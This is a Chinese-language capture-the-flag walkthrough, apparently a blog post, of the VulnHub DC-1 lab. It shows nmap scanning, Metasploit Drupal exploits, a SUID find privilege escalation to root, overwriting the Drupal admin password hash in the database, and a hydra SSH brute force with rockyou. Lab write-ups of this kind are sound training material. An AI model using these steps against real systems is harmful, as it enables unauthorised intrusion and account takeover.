vulnhub DC-1靶机 walkthrough

描述

DC-1 是专门为获得渗透测试经验而建造的易受攻击实验室。
它旨在成为初学者的挑战,但其难易程度取决于您的技能和知识以及学习能力。
要成功完成此挑战,您需要具备 Linux 技能、熟悉 Linux 命令行以及使用基本渗透测试工具的经验,例如 Kali Linux 或 Parrot Security OS 上的工具。
获得 root 权限的方法有很多种,但我提供了一些包含初学者线索的标志。
总共有五个标志,但最终目标是在 root 的主目录中找到并读取该标志。您甚至不需要成为 root 即可执行此操作,但是您需要 root 权限。
根据您的技能水平,您可能可以跳过查找大多数这些标志的过程,直接获得 root 权限。
初学者可能会遇到以前从未遇到过的挑战,但只需进行 Google 搜索即可获得完成此挑战所需的信息。

实验

先扫描
arp-scan -l
nmap -p- -A 192.168.110.131
在这里插入图片描述
访问 web 服务
在这里插入图片描述
Drupal 是一个开源的内容管理系统(CMS),用于构建和管理网站及应用程序。它基于 PHP 编写,具有高度灵活性和可扩展性,适用于从个人博客到企业级网站的各种项目。
指纹识别一下(用的 Wappalyzer 浏览器插件,也可以用 kali 的 whatweb 工具)
在这里插入图片描述
拿到 CMS Drupal 版本为 7,找漏打一下
msfconsole
search Drupal
在这里插入图片描述
试一下前两个
use exploit/unix/webapp/drupal_coder_exec
show options
在这里插入图片描述
set RHOST 192.168.110.131
run
在这里插入图片描述
试一下第二个 exp,重复上面操作
在这里插入图片描述
获得了一个非交互式 shell
在这里插入图片描述
python -c 'import pty;pty.spawn("/bin/bash")'获得了交互式 shell
找到去 flag1.txt

www-data@DC-1:/var/www$ cat flag1.txt
cat flag1.txt
Every good CMS needs a config file - and so do you.

搜一下 Drupal 配置文件
在这里插入图片描述
全局查找 settings.php
find / -name settings.php
在这里插入图片描述
找到 flag2.txt
说爆破不是唯一获得许可的方式,结合下面的数据库账号密码,这里直接登录然后查找信息
这里因为我已经获得 shell 了,所以直接提权
尝试 suid 提权
find / -perm -4000 2>/dev/null 查找特权文件
在这里插入图片描述
结果 find 设置了 SUID 位,结合 find 的 -exec 参数,对其每个目录知执行 /bin/sh 获取到 root 权限。(/bin/bash 无效果)
在这里插入图片描述
提权成功
在这里插入图片描述
当然,其实中间还有一些其他 flag,下面补充一下
mysql -udbuser -p

show databases;
use drupaldb;
show tables;
show columns from users;

在这里插入图片描述
查出了经过某种算法加密后的账号密码
因为我们这里有数据库权限,所以能够修改密码,但需要知道对应的加密方法,因为处理端会解码。
全局搜索一下 hash passwd 等字眼
在这里插入图片描述
尝试利用这个加密脚本,对我们自己设的密码进行加密,我用 520
看看用法
在这里插入图片描述
/var/www/scripts/password-hash.sh

在这里插入图片描述
password: 520 hash: $S$DpIlEvnFz0QBFn51ZjGfwMVam98wY6riZSKNo4LIHX8LMjo/WXPC

再次登录数据库修改密码
update users set pass='$S$DpIlEvnFz0QBFn51ZjGfwMVam98wY6riZSKNo4LIHX8LMjo/WXPC' where name='admin';
可以看到密码成功修改,由于这是 drupal 的数据库用户信息,所以在 web 服务里直接登录
在这里插入图片描述
成功登录,并仪表盘(dashboard) 位置找到 flag3

在这里插入图片描述
在这里插入图片描述
这里大意就是要找 passwd,与 shadow 有关,且涉及权限。
那么就在 /etc/passwd/etc/shadow 里找一下密码
cat /etc/passwd
在这里插入图片描述
这里就看到了 flag4 用户,而密码保密在 /etc/shadow 下,普通用户无法查看
先尝试 kali hydra 爆破该用户 ssh 登录密码
hydra -l flag4 -P /usr/share/wordlists/rockyou.txt.gz ssh://192.168.110.131
在这里插入图片描述
以 flag4:orange ssh 连接登录
在这里插入图片描述
整个过程到此就结束了,flag4 最后提示以相同的方法获得 root 权限会比较困难,所以采用了 suid find 提权。

总结

  1. 扫描目标,获取 ip 和 服务信息。
  2. 登录 web 服务,指纹识别出 web 框架 Drupal 7
  3. msf 查找漏洞并利用,获取 shell
  4. suid find 提取获得 root

其他

  1. 查找配置文件获取数据库账号密码
  2. 登录,查看用户账号密码
  3. 查找密码加密文件,加密 520,修改 admin 密码,web登录
  4. 查找 Linux 上用户密码信息,找到 flag4用户
  5. hydra 爆破 ssh 密码,连接成功
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值